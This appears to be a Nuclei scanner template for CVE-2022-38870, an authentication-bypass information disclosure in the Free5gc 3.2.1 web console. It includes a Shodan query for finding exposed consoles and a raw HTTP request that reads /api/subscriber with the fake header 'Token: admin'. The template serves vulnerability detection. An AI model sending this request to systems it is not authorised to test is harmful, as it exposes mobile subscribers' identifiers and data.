id: CVE-2022-38870 info: name: Free5gc 3.2.1 - Information Disclosure author: For3stCo1d severity: high description: | Free5gc 3.2.1 is susceptible to information disclosure. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations. impact: | Successful exploitation of this vulnerability could result in unauthorized access to sensitive information. remediation: | Apply the latest patch or upgrade to a patched version of Free5gc 3.2.1 to mitigate the vulnerability. reference: - https://github.com/free5gc/free5gc/issues/387 - https://nvd.nist.gov/vuln/detail/CVE-2022-38870 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2022-38870 cwe-id: CWE-306 epss-score: 0.00669 epss-percentile: 0.77575 cpe: cpe:2.3:a:free5gc:free5gc:3.2.1:*:*:*:*:*:*:* metadata: max-request: 1 vendor: free5gc product: free5gc shodan-query: http.title:"free5GC Web Console" tags: cve,cve2022,free5gc,exposure http: - raw: - | GET /api/subscriber HTTP/1.1 Host: {{Hostname}} Token: admin matchers-condition: and matchers: - type: word part: body words: - '"plmnID":' - '"ueId":' condition: and - type: word part: header words: - "application/json" - type: status status: - 200 # digest: 4a0a00473045022065c90013a9ee04a8b0260dddb28202cdf00af65a5f6fc22a31d212f4b716cd1f022100c73b51a768845ce4dab3227772b1e585de33bbcec4f6d4ea2d02431c08824f8e:922c64590222798bb761d5b6d8e72950